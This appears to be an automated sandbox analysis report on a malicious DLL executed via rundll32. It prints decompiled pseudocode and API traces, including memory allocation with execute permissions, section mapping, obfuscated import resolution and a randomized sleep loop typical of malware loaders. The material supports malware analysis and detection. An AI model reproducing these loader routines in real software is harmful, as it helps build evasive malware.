GetACP.KERNEL32(?,20001004,?,00000002,00000000,00000050,00000050,?,6E18C485,?,00000050,?,?,?,?,?), ref: 6E18C305

Strings

OCP, xrefs: 6E18C27E
ACP, xrefs: 6E18C248

Memory Dump Source

Source File: 00000002.00000002.444257121.000000006E141000.00000020.00020000.sdmp, Offset: 6E140000, based on PE: true

Associated: 00000002.00000002.444243721.000000006E140000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.444299096.000000006E191000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.444517851.000000006E1BB000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.444564742.000000006E1BD000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.444589305.000000006E252000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.444601210.000000006E254000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID: ACP$OCP
API String ID: 0-711371036
Opcode ID: f68f48f57f6fa38fff6b60e950536cecfe5bbba82626e0cbd7dcc8ff969deed8
Instruction ID: 0222e18c5e21253ed444450453c2bd75bd103635a2b3effc53f2dd58416f71ca
Opcode Fuzzy Hash: f68f48f57f6fa38fff6b60e950536cecfe5bbba82626e0cbd7dcc8ff969deed8
Instruction Fuzzy Hash: 8C213862A54105A6E758CADCC900BC7736BABE4B14F234620ED09DF184F731DDC1EB51

Uniqueness

Uniqueness Score: -1.00%

Function 6E182635, Relevance: 5.1, APIs: 4, Instructions: 139
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E6E182635(void* __edx, short* _a4, char* _a8, int _a12, intOrPtr _a16) {
				char* _v8;
				int _v12;
				char _v16;
				char _v24;
				char _v28;
				void* __ebx;
				char _t34;
				int _t35;
				int _t38;
				long _t39;
				char* _t42;
				int _t44;
				int _t47;
				int _t53;
				intOrPtr _t55;
				void* _t56;
				char* _t57;
				char* _t62;
				char* _t63;
				void* _t64;
				int _t65;
				short* _t67;
				short* _t68;
				int _t69;
				intOrPtr* _t70;

				_t64 = __edx;
				_t53 = _a12;
				_t67 = _a4;
				_t68 = 0;
				if(_t67 == 0) {
					L3:
					if(_a8 != _t68) {
						E6E179118(_t53,  &_v28, _t64, _a16);
						_t34 = _v24;
						__eflags = _t67;
						if(_t67 == 0) {
							__eflags =  *((intOrPtr*)(_t34 + 0xa8)) - _t68;
							if( *((intOrPtr*)(_t34 + 0xa8)) != _t68) {
								_t69 = _t68 | 0xffffffff;
								_t35 = MultiByteToWideChar( *(_t34 + 8), 9, _a8, _t69, _t68, _t68);
								__eflags = _t35;
								if(_t35 != 0) {
									L29:
									_t28 = _t35 - 1; // -1
									_t69 = _t28;
									L30:
									__eflags = _v16;
									if(_v16 != 0) {
										_t55 = _v28;
										_t31 = _t55 + 0x350;
										 *_t31 =  *(_t55 + 0x350) & 0xfffffffd;
										__eflags =  *_t31;
									}
									return _t69;
								}
								 *((intOrPtr*)(E6E17BB7E())) = 0x2a;
								goto L30;
							}
							_t70 = _a8;
							_t25 = _t70 + 1; // 0x1
							_t56 = _t25;
							do {
								_t38 =  *_t70;
								_t70 = _t70 + 1;
								__eflags = _t38;
							} while (_t38 != 0);
							_t69 = _t70 - _t56;
							goto L30;
						}
						__eflags =  *((intOrPtr*)(_t34 + 0xa8)) - _t68;
						if( *((intOrPtr*)(_t34 + 0xa8)) != _t68) {
							_t69 = _t68 | 0xffffffff;
							_t35 = MultiByteToWideChar( *(_t34 + 8), 9, _a8, _t69, _t67, _t53);
							__eflags = _t35;
							if(_t35 != 0) {
								goto L29;
							}
							_t39 = GetLastError();
							__eflags = _t39 - 0x7a;
							if(_t39 != 0x7a) {
								L21:
								 *((intOrPtr*)(E6E17BB7E())) = 0x2a;
								 *_t67 = 0;
								goto L30;
							}
							_t42 = _a8;
							_t57 = _t42;
							_v8 = _t57;
							_t65 = _t53;
							__eflags = _t53;
							if(_t53 == 0) {
								L20:
								_t44 = MultiByteToWideChar( *(_v24 + 8), 1, _t42, _t57 - _t42, _t67, _t53);
								__eflags = _t44;
								if(_t44 != 0) {
									_t69 = _t44;
									goto L30;
								}
								goto L21;
							} else {
								goto L15;
							}
							while(1) {
								L15:
								_t45 =  *_t57;
								_v12 = _t65 - 1;
								__eflags =  *_t57;
								if(__eflags == 0) {
									break;
								}
								_t47 = E6E188445(__eflags, _t45 & 0x000000ff,  &_v24);
								_t62 = _v8;
								__eflags = _t47;
								if(_t47 == 0) {
									L18:
									_t65 = _v12;
									_t57 = _t62 + 1;
									_v8 = _t57;
									__eflags = _t65;
									if(_t65 != 0) {
										continue;
									}
									break;
								}
								_t62 = _t62 + 1;
								__eflags =  *_t62;
								if( *_t62 == 0) {
									goto L21;
								}
								goto L18;
							}
							_t42 = _a8;
							goto L20;
						}
						__eflags = _t53;
						if(_t53 == 0) {
							goto L30;
						}
						_t63 = _a8;
						while(1) {
							 *_t67 =  *(_t68 + _t63) & 0x000000ff;
							__eflags =  *(_t68 + _t63);
							if( *(_t68 + _t63) == 0) {
								goto L30;
							}
							_t68 =  &(_t68[0]);
							_t67 =  &(_t67[1]);
							__eflags = _t68 - _t53;
							if(_t68 < _t53) {
								continue;
							}
							goto L30;
						}
						goto L30;
					}
					 *((intOrPtr*)(E6E17BB7E())) = 0x16;
					return E6E178929() | 0xffffffff;
				}
				if(_t53 != 0) {
					 *_t67 = 0;
					goto L3;
				}
				return 0;
			}

0x6e182635
0x6e18263e
0x6e182643
0x6e182646
0x6e18264a
0x6e182659
0x6e18265c
0x6e18267c
0x6e182681
0x6e182684
0x6e182686
0x6e182754
0x6e18275a
0x6e18276f
0x6e18277b
0x6e182781
0x6e182783
0x6e182792
0x6e182792
0x6e182792
0x6e182795
0x6e182795
0x6e182799
0x6e18279b
0x6e18279e
0x6e18279e
0x6e18279e
0x6e18279e
0x00000000
0x6e1827a5
0x6e18278a
0x00000000
0x6e18278a
0x6e18275c
0x6e18275f
0x6e18275f
0x6e182762
0x6e182762
0x6e182764
0x6e182765
0x6e182765
0x6e182769
0x00000000
0x6e182769
0x6e18268c
0x6e182692
0x6e1826bf
0x6e1826cb
0x6e1826d1
0x6e1826d3
0x00000000
0x00000000
0x6e1826d9
0x6e1826df
0x6e1826e2
0x6e18273e
0x6e182743
0x6e18274b
0x00000000
0x6e18274b
0x6e1826e4
0x6e1826e7
0x6e1826e9
0x6e1826ec
0x6e1826ee
0x6e1826f0
0x6e182726
0x6e182734
0x6e18273a
0x6e18273c
0x6e182750
0x00000000
0x6e182750
0x00000000
0x00000000
0x00000000
0x00000000
0x6e1826f2
0x6e1826f2
0x6e1826f2
0x6e1826f5
0x6e1826f8
0x6e1826fa
0x00000000
0x00000000
0x6e182704
0x6e18270b
0x6e18270e
0x6e182710
0x6e182718
0x6e182718
0x6e18271b
0x6e18271c
0x6e18271f
0x6e182721
0x00000000
0x00000000
0x00000000
0x6e182721
0x6e182712
0x6e182713
0x6e182716
0x00000000
0x00000000
0x00000000
0x6e182716
0x6e182723
0x00000000
0x6e182723
0x6e182694
0x6e182696
0x00000000
0x00000000
0x6e18269c
0x6e18269f
0x6e1826a3
0x6e1826a6
0x6e1826aa
0x00000000
0x00000000
0x6e1826b0
0x6e1826b1
0x6e1826b4
0x6e1826b6
0x00000000
0x00000000
0x00000000
0x6e1826b8
0x00000000
0x6e18269f
0x6e182663
0x00000000
0x6e18266e
0x6e182650
0x6e182656
0x00000000
0x6e182656
0x6e1827ad

APIs

MultiByteToWideChar.KERNEL32(?,00000009,00000000,00000000,?,00000000,00000000,00000000,00000000,?,?,00000000,00000000,00000000,?), ref: 6E1826CB
GetLastError.KERNEL32 ref: 6E1826D9
MultiByteToWideChar.KERNEL32(?,00000001,?,?,?,00000000), ref: 6E182734

Memory Dump Source

Source File: 00000002.00000002.444257121.000000006E141000.00000020.00020000.sdmp, Offset: 6E140000, based on PE: true

Associated: 00000002.00000002.444243721.000000006E140000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.444299096.000000006E191000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.444517851.000000006E1BB000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.444564742.000000006E1BD000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.444589305.000000006E252000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.444601210.000000006E254000.00000002.00020000.sdmp Download File

Similarity

API ID: ByteCharMultiWide$ErrorLast
String ID:
API String ID: 1717984340-0
Opcode ID: d52eefaeeef142916da3ab6728c47259359d9f996152519ea0ed544f4738e150
Instruction ID: 03f7bd3f5f3d16c125171b3fd5020f727e707378c07e18fb5510b1788acdc51c
Opcode Fuzzy Hash: d52eefaeeef142916da3ab6728c47259359d9f996152519ea0ed544f4738e150
Instruction Fuzzy Hash: 47412D30604256AFDF538FEAC854BAF7BB9EF25320F214159E8A55B194EB318881EF50

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: rundll32.exe PID: 1304 Parent PID: 2696 rundll32.exeCOMMON

Executed Functions

Function 6E1BD8B6, Relevance: 13.8, APIs: 9, Instructions: 318memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,000006DD,00003000,00000040,000006DD,6E1BD308), ref: 6E1BD973
VirtualAlloc.KERNEL32(00000000,00000092,00003000,00000040,6E1BD368), ref: 6E1BD9AA
VirtualAlloc.KERNEL32(00000000,0001131C,00003000,00000040), ref: 6E1BDA0A
VirtualFree.KERNEL32(00000000,00000000,00008000), ref: 6E1BDA40
VirtualProtect.KERNEL32(6E140000,00000000,00000004,6E1BD895), ref: 6E1BDB45
VirtualProtect.KERNEL32(6E140000,00001000,00000004,6E1BD895), ref: 6E1BDB6C
VirtualProtect.KERNEL32(00000000,?,00000002,6E1BD895), ref: 6E1BDC39
VirtualProtect.KERNEL32(00000000,?,00000002,6E1BD895,?), ref: 6E1BDC8F
VirtualFree.KERNEL32(00000000,00000000,00008000), ref: 6E1BDCAB

Memory Dump Source

Source File: 00000003.00000002.616162689.000000006E1BD000.00000040.00020000.sdmp, Offset: 6E1BD000, based on PE: false

Similarity

API ID: Virtual$Protect$Alloc$Free
String ID:
API String ID: 2574235972-0
Opcode ID: 2d382b74fe919b99f374d6ea33ceeb9597e58b438a81f95748de0f59fe21acb2
Instruction ID: 52004a682c70429c679410323f8e422c4f4e70a3a621b084179d6d35bedce849
Opcode Fuzzy Hash: 2d382b74fe919b99f374d6ea33ceeb9597e58b438a81f95748de0f59fe21acb2
Instruction Fuzzy Hash: 38D1BC729A0202DFDB14EF54C880F5237B9FF4A314B1E0898ED199FA5AD7B0A841DF60

Uniqueness

Uniqueness Score: -1.00%

Function 6E16B840, Relevance: 7.3, APIs: 1, Strings: 2, Instructions: 2034COMMON

Download Yara Rule

APIs

GetTempPathA.KERNEL32(0000070B,?), ref: 6E16BC22

Strings

T, xrefs: 6E16CE63
v, xrefs: 6E16C08B

Memory Dump Source

Source File: 00000003.00000002.615925831.000000006E14E000.00000020.00020000.sdmp, Offset: 6E14E000, based on PE: false

Similarity

API ID: PathTemp
String ID: T$v
API String ID: 2920410445-3699010257
Opcode ID: 82ee7cb1c0c8caa8c4905ac972d721e6c4846050dce13c78b48d1bc61d52019b
Instruction ID: 8b4a500f056d12a0e83804984d15f26fbd32799f343af81fba59fa2a4fd40de3
Opcode Fuzzy Hash: 82ee7cb1c0c8caa8c4905ac972d721e6c4846050dce13c78b48d1bc61d52019b
Instruction Fuzzy Hash: 8223F4B1D04A088FCB28CF69C5E0E7D7BB2FF8A304B50C169D56997A8DE7345984EB50

Uniqueness

Uniqueness Score: -1.00%

Function 6E18C3CB, Relevance: 6.2, APIs: 4, Instructions: 236COMMON

Download Yara Rule

APIs

Part of subcall function 6E17FA06: GetLastError.KERNEL32(0000001C,00000000,6E179156,00000000,00000000,?,6E1827FC,00000000,00000000,?,?,0000001C), ref: 6E17FA0A
Part of subcall function 6E17FA06: _free.LIBCMT ref: 6E17FA3D
Part of subcall function 6E17FA06: SetLastError.KERNEL32(00000000,00000000,?,?,0000001C), ref: 6E17FA7E
Part of subcall function 6E17FA06: _abort.LIBCMT ref: 6E17FA84

IsValidCodePage.KERNEL32(00000000,?,?,?,?,?,?,6E181975,?,?,?,?,6E18142E,?,00000004), ref: 6E18C4AD
_wcschr.LIBVCRUNTIME ref: 6E18C53D
_wcschr.LIBVCRUNTIME ref: 6E18C54B
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078,6E181975,00000000,6E181A95), ref: 6E18C5EE

Memory Dump Source

Source File: 00000003.00000002.615925831.000000006E14E000.00000020.00020000.sdmp, Offset: 6E14E000, based on PE: false

Similarity

API ID: ErrorLast_wcschr$CodeInfoLocalePageValid_abort_free
String ID:
API String ID: 4212172061-0
Opcode ID: b9a87ac13772b71238da2a0516ebf0545c6070beecc1df7c8833b785532426ad
Instruction ID: 48ff246217fc4e6e5049f35754cbc6708968a1736200eeb73dfef51800b97211
Opcode Fuzzy Hash: b9a87ac13772b71238da2a0516ebf0545c6070beecc1df7c8833b785532426ad
Instruction Fuzzy Hash: DD61D471A00206AAEB14DEF5DC51EE773ACEF15744F214A2AE915DB280EB30D9C0EF61

Uniqueness

Uniqueness Score: -1.00%

Function 6E141B9C, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 70
nativeCOMMON

Download Yara Rule

C-Code - Quality: 72%

			E6E141B9C(intOrPtr* __eax, void** _a4) {
				int _v12;
				void* _v16;
				void* _v20;
				void* _v24;
				int _v28;
				int _v32;
				intOrPtr _v36;
				int _v40;
				int _v44;
				void* _v48;
				void* __esi;
				long _t34;
				void* _t39;
				void* _t47;
				intOrPtr* _t48;

				_t48 = __eax;
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosd");
				_v24 =  *((intOrPtr*)(__eax + 4));
				_v16 = 0;
				_v12 = 0;
				_v48 = 0x18;
				_v44 = 0;
				_v36 = 0x40;
				_v40 = 0;
				_v32 = 0;
				_v28 = 0;
				_t34 = NtCreateSection( &_v16, 0xf001f,  &_v48,  &_v24,  *(__eax + 8), 0x8000000, 0);
				if(_t34 < 0) {
					_t47 =  *((intOrPtr*)(_t48 + 0x18))(_t34);
				} else {
					 *_t48 = _v16;
					_t39 = E6E141EC7(_t48,  &_v12); // executed
					_t47 = _t39;
					if(_t47 != 0) {
						 *((intOrPtr*)(_t48 + 0x1c))(_v16);
					} else {
						memset(_v12, 0, _v24);
						 *_a4 = _v12;
					}
				}
				return _t47;
			}

0x6e141ba5
0x6e141bac
0x6e141bad
0x6e141bae
0x6e141baf
0x6e141bb0
0x6e141bc1
0x6e141bc5
0x6e141bd9
0x6e141bdc
0x6e141bdf
0x6e141be6
0x6e141be9
0x6e141bf0
0x6e141bf3
0x6e141bf6
0x6e141bf9
0x6e141bfe
0x6e141c39
0x6e141c00
0x6e141c03
0x6e141c09
0x6e141c0e
0x6e141c12
0x6e141c30
0x6e141c14
0x6e141c1b
0x6e141c29
0x6e141c29
0x6e141c12
0x6e141c41

APIs

NtCreateSection.NTDLL(00000002,000F001F,?,?,?,08000000,00000000,74B04EE0,00000000,00000000,?), ref: 6E141BF9

Part of subcall function 6E141EC7: NtMapViewOfSection.NTDLL(00000000,000000FF,?,00000000,00000000,?,6E141C0E,00000002,00000000,?,?,00000000,?,?,6E141C0E,00000000), ref: 6E141EF4

memset.NTDLL ref: 6E141C1B

Strings

@, xrefs: 6E141BE9

Memory Dump Source

Source File: 00000003.00000002.615703318.000000006E141000.00000020.00020000.sdmp, Offset: 6E140000, based on PE: true

Associated: 00000003.00000002.615660868.000000006E140000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.615746194.000000006E143000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.615798170.000000006E145000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.615855630.000000006E146000.00000002.00020000.sdmp Download File

Similarity

API ID: Section$CreateViewmemset
String ID: @
API String ID: 2533685722-2766056989
Opcode ID: 4d7eee9f11a7039b7ba48ef3c3db40ff58bda86e38dd00c02ef6a9748d42a3ba
Instruction ID: dedacc48554a2e0fb2dbe09d74b87fb089ed72b657839cf5d2d0c4cfaca93fa6
Opcode Fuzzy Hash: 4d7eee9f11a7039b7ba48ef3c3db40ff58bda86e38dd00c02ef6a9748d42a3ba
Instruction Fuzzy Hash: 74210BB5E0020DEFDB01CFE9C8849DEFBB9EB48354F504829E515F3210D7359A599B64

Uniqueness

Uniqueness Score: -1.00%

Function 6E141F7C, Relevance: 3.1, APIs: 2, Instructions: 92
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E6E141F7C(void* __edi, intOrPtr _a4) {
				signed int _v8;
				intOrPtr* _v12;
				_Unknown_base(*)()** _v16;
				signed int _v20;
				signed short _v24;
				struct HINSTANCE__* _v28;
				intOrPtr _t43;
				intOrPtr* _t45;
				intOrPtr _t46;
				struct HINSTANCE__* _t47;
				intOrPtr* _t49;
				intOrPtr _t50;
				signed short _t51;
				_Unknown_base(*)()* _t53;
				CHAR* _t54;
				_Unknown_base(*)()* _t55;
				void* _t58;
				signed int _t59;
				_Unknown_base(*)()* _t60;
				intOrPtr _t61;
				intOrPtr _t65;
				signed int _t68;
				void* _t69;
				CHAR* _t71;
				signed short* _t73;

				_t69 = __edi;
				_v20 = _v20 & 0x00000000;
				_t59 =  *0x6e1441cc;
				_t43 =  *((intOrPtr*)(_a4 + _t59 * 8 - 0x1b4cdd98));
				if(_t43 != 0) {
					_t45 = _t43 + __edi;
					_v12 = _t45;
					_t46 =  *((intOrPtr*)(_t45 + 0xc));
					if(_t46 != 0) {
						while(1) {
							_t71 = _t46 + _t69;
							_t47 = LoadLibraryA(_t71); // executed
							_v28 = _t47;
							if(_t47 == 0) {
								break;
							}
							_v24 = _v24 & 0x00000000;
							 *_t71 = _t59 - 0x63699bc3;
							_t49 = _v12;
							_t61 =  *((intOrPtr*)(_t49 + 0x10));
							_t50 =  *_t49;
							if(_t50 != 0) {
								L6:
								_t73 = _t50 + _t69;
								_v16 = _t61 + _t69;
								while(1) {
									_t51 =  *_t73;
									if(_t51 == 0) {
										break;
									}
									if(__eflags < 0) {
										__eflags = _t51 - _t69;
										if(_t51 < _t69) {
											L12:
											_t21 =  &_v8;
											 *_t21 = _v8 & 0x00000000;
											__eflags =  *_t21;
											_v24 =  *_t73 & 0x0000ffff;
										} else {
											_t65 = _a4;
											__eflags = _t51 -  *((intOrPtr*)(_t65 + 0x50)) + _t69;
											if(_t51 >=  *((intOrPtr*)(_t65 + 0x50)) + _t69) {
												goto L12;
											} else {
												goto L11;
											}
										}
									} else {
										_t51 = _t51 + _t69;
										L11:
										_v8 = _t51;
									}
									_t53 = _v8;
									__eflags = _t53;
									if(_t53 == 0) {
										_t54 = _v24 & 0x0000ffff;
									} else {
										_t54 = _t53 + 2;
									}
									_t55 = GetProcAddress(_v28, _t54);
									__eflags = _t55;
									if(__eflags == 0) {
										_v20 = _t59 - 0x63699b44;
									} else {
										_t68 = _v8;
										__eflags = _t68;
										if(_t68 != 0) {
											 *_t68 = _t59 - 0x63699bc3;
										}
										 *_v16 = _t55;
										_t58 = 0x725990f8 + _t59 * 4;
										_t73 = _t73 + _t58;
										_t32 =  &_v16;
										 *_t32 = _v16 + _t58;
										__eflags =  *_t32;
										continue;
									}
									goto L23;
								}
							} else {
								_t50 = _t61;
								if(_t61 != 0) {
									goto L6;
								}
							}
							L23:
							_v12 = _v12 + 0x14;
							_t46 =  *((intOrPtr*)(_v12 + 0xc));
							if(_t46 != 0) {
								continue;
							} else {
							}
							L26:
							goto L27;
						}
						_t60 = _t59 + 0x9c9664bb;
						__eflags = _t60;
						_v20 = _t60;
						goto L26;
					}
				}
				L27:
				return _v20;
			}

0x6e141f7c
0x6e141f85
0x6e141f8a
0x6e141f90
0x6e141f99
0x6e141f9f
0x6e141fa1
0x6e141fa4
0x6e141fa9
0x6e141fb0
0x6e141fb0
0x6e141fb4
0x6e141fbc
0x6e141fbf
0x00000000
0x00000000
0x6e141fc5
0x6e141fcf
0x6e141fd1
0x6e141fd4
0x6e141fd7
0x6e141fdb
0x6e141fe3
0x6e141fe5
0x6e141fe8
0x6e142050
0x6e142050
0x6e142054
0x00000000
0x00000000
0x6e141fed
0x6e141ff3
0x6e141ff5
0x6e142008
0x6e14200b
0x6e14200b
0x6e14200b
0x6e14200f
0x6e141ff7
0x6e141ff7
0x6e141fff
0x6e142001
0x00000000
0x00000000
0x00000000
0x00000000
0x6e142001
0x6e141fef
0x6e141fef
0x6e142003
0x6e142003
0x6e142003
0x6e142012
0x6e142015
0x6e142017
0x6e14201e
0x6e142019
0x6e142019
0x6e142019
0x6e142026
0x6e14202c
0x6e14202e
0x6e14205e
0x6e142030
0x6e142030
0x6e142033
0x6e142035
0x6e14203d
0x6e14203d
0x6e142042
0x6e142044
0x6e14204b
0x6e14204d
0x6e14204d
0x6e14204d
0x00000000
0x6e14204d
0x00000000
0x6e14202e
0x6e141fdd
0x6e141fdf
0x6e141fe1
0x00000000
0x00000000
0x6e141fe1
0x6e142061
0x6e142061
0x6e142068
0x6e14206d
0x00000000
0x00000000
0x6e142073
0x6e14207e
0x00000000
0x6e14207e
0x6e142075
0x6e142075
0x6e14207b
0x00000000
0x6e14207b
0x6e141fa9
0x6e14207f
0x6e142084

APIs

LoadLibraryA.KERNELBASE(?,?,00000000,?,?), ref: 6E141FB4
GetProcAddress.KERNEL32(?,00000000), ref: 6E142026

Memory Dump Source

Source File: 00000003.00000002.615703318.000000006E141000.00000020.00020000.sdmp, Offset: 6E140000, based on PE: true

Associated: 00000003.00000002.615660868.000000006E140000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.615746194.000000006E143000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.615798170.000000006E145000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.615855630.000000006E146000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressLibraryLoadProc
String ID:
API String ID: 2574300362-0
Opcode ID: 451f157295b2c1a003286c32ebb67b7c483621ce315e57d3dc8e3820b518efb0
Instruction ID: 341fed9f5e18a6a0ef8ba10dd2eb47413b04dda63517c8952216a28dd0f4971b
Opcode Fuzzy Hash: 451f157295b2c1a003286c32ebb67b7c483621ce315e57d3dc8e3820b518efb0
Instruction Fuzzy Hash: 693156B1A0020ADFEB52CFA9C894AAEB7F4FF55300B20406AD815E7344E770DAC5EB50

Uniqueness

Uniqueness Score: -1.00%

Function 6E141EC7, Relevance: 1.5, APIs: 1, Instructions: 34
nativeCOMMON

Download Yara Rule

C-Code - Quality: 68%

			E6E141EC7(void** __esi, PVOID* _a4) {
				long _v8;
				void* _v12;
				void* _v16;
				long _t13;

				_v16 = 0;
				asm("stosd");
				_v8 = 0;
				_t13 = NtMapViewOfSection( *__esi, 0xffffffff, _a4, 0, 0,  &_v16,  &_v8, 2, 0, __esi[2]);
				if(_t13 < 0) {
					_push(_t13);
					return __esi[6]();
				}
				return 0;
			}

0x6e141ed9
0x6e141edf
0x6e141eed
0x6e141ef4
0x6e141ef9
0x6e141eff
0x00000000
0x6e141f00
0x00000000

APIs

NtMapViewOfSection.NTDLL(00000000,000000FF,?,00000000,00000000,?,6E141C0E,00000002,00000000,?,?,00000000,?,?,6E141C0E,00000000), ref: 6E141EF4

Memory Dump Source

Source File: 00000003.00000002.615703318.000000006E141000.00000020.00020000.sdmp, Offset: 6E140000, based on PE: true

Associated: 00000003.00000002.615660868.000000006E140000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.615746194.000000006E143000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.615798170.000000006E145000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.615855630.000000006E146000.00000002.00020000.sdmp Download File

Similarity

API ID: SectionView
String ID:
API String ID: 1323581903-0
Opcode ID: 5dd26fff624a50198c0bd826f45a2e4ef6e885f587514f0e64cb0fed618db76f
Instruction ID: 9b460d0470ff325754ba2d632313a1af59a2a2a28e40faf5c70f1578f7dbb781
Opcode Fuzzy Hash: 5dd26fff624a50198c0bd826f45a2e4ef6e885f587514f0e64cb0fed618db76f
Instruction Fuzzy Hash: 00F01CB6A0420CFFEB119FA9CC85C9FBBBDEB44394B104939B552E1190D6309E5C9A60

Uniqueness

Uniqueness Score: -1.00%

Function 6E18207B, Relevance: 16.1, APIs: 8, Strings: 1, Instructions: 338COMMON

Download Yara Rule

APIs

Part of subcall function 6E17FA06: GetLastError.KERNEL32(0000001C,00000000,6E179156,00000000,00000000,?,6E1827FC,00000000,00000000,?,?,0000001C), ref: 6E17FA0A
Part of subcall function 6E17FA06: _free.LIBCMT ref: 6E17FA3D
Part of subcall function 6E17FA06: SetLastError.KERNEL32(00000000,00000000,?,?,0000001C), ref: 6E17FA7E
Part of subcall function 6E17FA06: _abort.LIBCMT ref: 6E17FA84

_memcmp.LIBVCRUNTIME ref: 6E182325
_free.LIBCMT ref: 6E182396
_free.LIBCMT ref: 6E1823AF
_free.LIBCMT ref: 6E1823E1
_free.LIBCMT ref: 6E1823EA
_free.LIBCMT ref: 6E1823F6
GetStartupInfoW.KERNEL32(?), ref: 6E182453
GetFileType.KERNEL32(?,6E18142E,?,00000004), ref: 6E1824BC

Strings

C, xrefs: 6E1821E3

Memory Dump Source

Source File: 00000003.00000002.615925831.000000006E14E000.00000020.00020000.sdmp, Offset: 6E14E000, based on PE: false

Similarity

API ID: _free$ErrorLast$FileInfoStartupType_abort_memcmp
String ID: C
API String ID: 1665419104-1037565863
Opcode ID: 7808d2c548e60bfdd779c9105616cfbbce188ae696d31ea2158a05e96b7c3d21
Instruction ID: 4fc51b6e19c337a3e6fac68698f8d646d76189cec8ba77ac02e215d6f6567571
Opcode Fuzzy Hash: 7808d2c548e60bfdd779c9105616cfbbce188ae696d31ea2158a05e96b7c3d21
Instruction Fuzzy Hash: 0FD18B75A0121ADFDB25CFA8C894A9EB7B4FF59314F2045AAE819A7350D730AEC0DF50

Uniqueness

Uniqueness Score: -1.00%

Function 6E141C7D, Relevance: 15.1, APIs: 10, Instructions: 103
threadsleepsynchronizationCOMMON

Download Yara Rule

C-Code - Quality: 80%

			E6E141C7D(intOrPtr _a4) {
				char _v28;
				struct _SYSTEMTIME _v44;
				char _v48;
				long _v52;
				long _v56;
				void* __edi;
				long _t21;
				int _t23;
				long _t26;
				long _t27;
				long _t31;
				void* _t37;
				intOrPtr _t39;
				intOrPtr _t44;
				signed int _t45;
				void* _t50;
				signed int _t54;
				void* _t56;
				intOrPtr* _t57;

				_t21 = E6E141F10();
				_v52 = _t21;
				if(_t21 != 0) {
					L18:
					return _t21;
				} else {
					goto L1;
				}
				do {
					L1:
					GetSystemTime( &_v44);
					_t23 = SwitchToThread();
					asm("cdq");
					_t45 = 9;
					_t54 = _t23 + (_v44.wMilliseconds & 0x0000ffff) % _t45;
					_t26 = E6E1418AD(0, _t54); // executed
					_v56 = _t26;
					Sleep(_t54 << 5); // executed
					_t21 = _v56;
				} while (_t21 == 0xc);
				if(_t21 != 0) {
					goto L18;
				}
				_t27 = E6E141ADB(_t45); // executed
				_v52 = _t27;
				if(_t27 != 0) {
					L16:
					_t21 = _v52;
					if(_t21 == 0xffffffff) {
						_t21 = GetLastError();
					}
					goto L18;
				}
				if(_a4 != 0) {
					L11:
					_push(0);
					_t56 = E6E1413D1(E6E1414E8,  &_v28);
					if(_t56 == 0) {
						_v56 = GetLastError();
					} else {
						_t31 = WaitForSingleObject(_t56, 0xffffffff);
						_v56 = _t31;
						if(_t31 == 0) {
							GetExitCodeThread(_t56,  &_v56);
						}
						CloseHandle(_t56);
					}
					goto L16;
				}
				if(E6E14134F(_t45,  &_v48) != 0) {
					 *0x6e1441b8 = 0;
					goto L11;
				}
				_t44 = _v48;
				_t57 = __imp__GetLongPathNameW;
				_t37 =  *_t57(_t44, 0, 0); // executed
				_t50 = _t37;
				if(_t50 == 0) {
					L9:
					 *0x6e1441b8 = _t44;
					goto L11;
				}
				_t15 = _t50 + 2; // 0x2
				_t39 = E6E141B58(_t50 + _t15);
				 *0x6e1441b8 = _t39;
				if(_t39 == 0) {
					goto L9;
				} else {
					 *_t57(_t44, _t39, _t50); // executed
					E6E14142F(_t44);
					goto L11;
				}
			}

0x6e141c89
0x6e141c92
0x6e141c96
0x6e141d9e
0x6e141da4
0x00000000
0x00000000
0x00000000
0x6e141c9c
0x6e141c9c
0x6e141ca1
0x6e141ca7
0x6e141cb6
0x6e141cb7
0x6e141cba
0x6e141cbd
0x6e141cc6
0x6e141cca
0x6e141cd0
0x6e141cd4
0x6e141cdb
0x00000000
0x00000000
0x6e141ce1
0x6e141ce8
0x6e141cec
0x6e141d8f
0x6e141d8f
0x6e141d96
0x6e141d98
0x6e141d98
0x00000000
0x6e141d96
0x6e141cf5
0x6e141d48
0x6e141d48
0x6e141d59
0x6e141d5d
0x6e141d8b
0x6e141d5f
0x6e141d62
0x6e141d6a
0x6e141d6e
0x6e141d76
0x6e141d76
0x6e141d7d
0x6e141d7d
0x00000000
0x6e141d5d
0x6e141d03
0x6e141d42
0x00000000
0x6e141d42
0x6e141d05
0x6e141d09
0x6e141d12
0x6e141d14
0x6e141d18
0x6e141d3a
0x6e141d3a
0x00000000
0x6e141d3a
0x6e141d1a
0x6e141d1f
0x6e141d26
0x6e141d2b
0x00000000
0x6e141d2d
0x6e141d30
0x6e141d33
0x00000000
0x6e141d33

APIs

Part of subcall function 6E141F10: CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,00000000,6E141C8E,74B063F0,00000000), ref: 6E141F1F
Part of subcall function 6E141F10: GetVersion.KERNEL32 ref: 6E141F2E
Part of subcall function 6E141F10: GetCurrentProcessId.KERNEL32 ref: 6E141F3D
